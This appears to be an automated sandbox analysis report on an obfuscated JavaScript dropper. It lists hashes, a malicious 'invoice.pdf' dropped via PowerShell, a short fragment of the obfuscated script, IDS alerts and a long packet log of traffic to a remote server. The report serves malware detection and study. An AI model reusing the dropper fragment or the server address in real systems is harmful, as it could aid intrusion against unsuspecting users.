SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19339), with CRLF line terminators
Entropy (8bit):	4.897702058629468
TrID:
File name:	1136121895118314851.js
File size:	22'765 bytes
MD5:	e4d0cc8532e6ea7d6acbd43f7f22093d
SHA1:	bd260d26acfa72fa2dc7dd2e5fdca1a7615c84e6
SHA256:	a004966f5b80ed1e1b18aa636cfa9c242b7ddedca6a09ad7b30973689952b692
SHA512:	4005c124b17e878c2e068fe3942a4fa087941bb5a6eb65e87b66fc6754919a7a50ad7ee0178d63c2c348b55d938b86799854a5d3662a3526aed2fe5189058537
SSDEEP:	384:JlU8HLlij519TcdfZFV/RvvVddkxRkhamd9V8/YF:U8EjRTcdxFxR/SRkhamdc/A
TLSH:	60A2839DD21FDB2647DC00A832C9588DAA17118D747930A704A7BB616BABF3672FC1F4
File Content Preview:	function hocowht(){vdusjf=[1031,3079,5127,4103,2055,3072];var knjgp=this[ajyjue+kpcghetra+zpvtefhtv+hxgcngoco+mmkxlrc+sljao+hmufjpy+zxiih](this[mztwn+reaay+wdvtl+zpvtefhtv+gyjdzrtp+ajyjue+zxiih][qxvuzyfb+zpvtefhtv+mmkxlrc+kpcghetra+zxiih+mmkxlrc+hnzicfzg+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:58:03.221324+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T14:58:05.881691+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:58:02.408186913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:02.413055897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:02.413166046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:02.417706013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:02.422620058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221093893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221122026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221131086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221204996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221214056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221223116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221292019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221302032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221323967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.221343040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221353054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.221385002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.221399069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.278575897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.278594017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.278605938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.278706074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.345814943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.345833063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.345844030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.345997095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.346188068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346199989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346210003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346221924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346240044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.346268892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.346457005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346502066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346513033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346522093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.346554995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346565008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.346565008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.346604109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.347178936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.347207069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.347217083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.347273111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.347345114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.347354889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.347403049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.348078966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.348107100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.348118067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.348134995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.348141909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.348166943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.365346909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.365437031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.403408051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.403426886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.403439045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.403485060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.403512955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.403522968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.403592110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.432686090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.432703018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.432832003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.470565081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.470598936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.470609903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.470690012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.470724106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.470735073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.470736027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.470833063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.471033096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471044064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471055031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471106052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.471302986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471339941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471348047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.471352100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471419096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.471477032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471487999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471544981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.471923113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471934080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471940994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471970081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471981049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.471988916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.471992016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472003937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472023964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.472052097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.472795010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472809076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472820997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472846985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.472855091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472866058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472871065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472876072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.472877026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.472935915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.473547935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.473562002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.473573923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.473622084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.473660946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.473673105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.473683119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.473694086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.473712921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.473738909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.474426031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.474447012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.474458933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.474473000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.474507093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.474533081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.474544048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.474555969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.474594116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.490247965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.490326881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.528065920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528111935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528131962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528141022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528183937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.528215885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.528276920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528289080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528300047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528331041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.528434038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528445005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528455019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528477907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.528507948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.528546095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528556108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.528615952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.557434082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.557451963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.557563066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.595556974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595581055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595591068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595638990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595665932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595675945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595681906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.595709085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595729113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.595743895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.595907927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595952034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.595957041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.595967054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596062899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.596103907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596124887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596137047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596204996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596211910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.596215963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596280098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.596391916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596446037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.596457005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596474886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596486092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596525908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596532106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.596573114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.596586943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596597910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596648932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.596901894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596935987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596946001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.596988916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.597033978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597044945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597055912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597074032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.597100973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597105980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.597156048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597167015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597178936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597203970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.597229958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.597661018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597713947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597759962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.597774029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597839117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597879887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.597903013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597950935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597991943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.597995043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.598042965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598052979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598084927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.598134041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598145008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598155975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598166943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598176956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.598208904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.598632097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598661900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598673105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598676920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.598706961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.598725080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598737001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598747015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598772049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.598908901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598920107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598929882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598939896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598951101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598962069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598963976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.598973036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.598998070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.599025011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.599649906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.599661112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.599670887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.599683046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.599697113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.599729061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.604161024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.614864111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.614892006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.614902020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.614933968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.614947081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.614975929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.614986897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.614998102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615055084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.615057945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615067959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615102053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615114927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.615168095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615178108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615214109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.615214109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615245104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615257025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.615291119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615300894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615331888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.615350008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615360975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615372896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615400076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.615418911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:58:03.615520000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:58:03.615590096 CET	80	49730	193.143.1.205	192.168.2.4
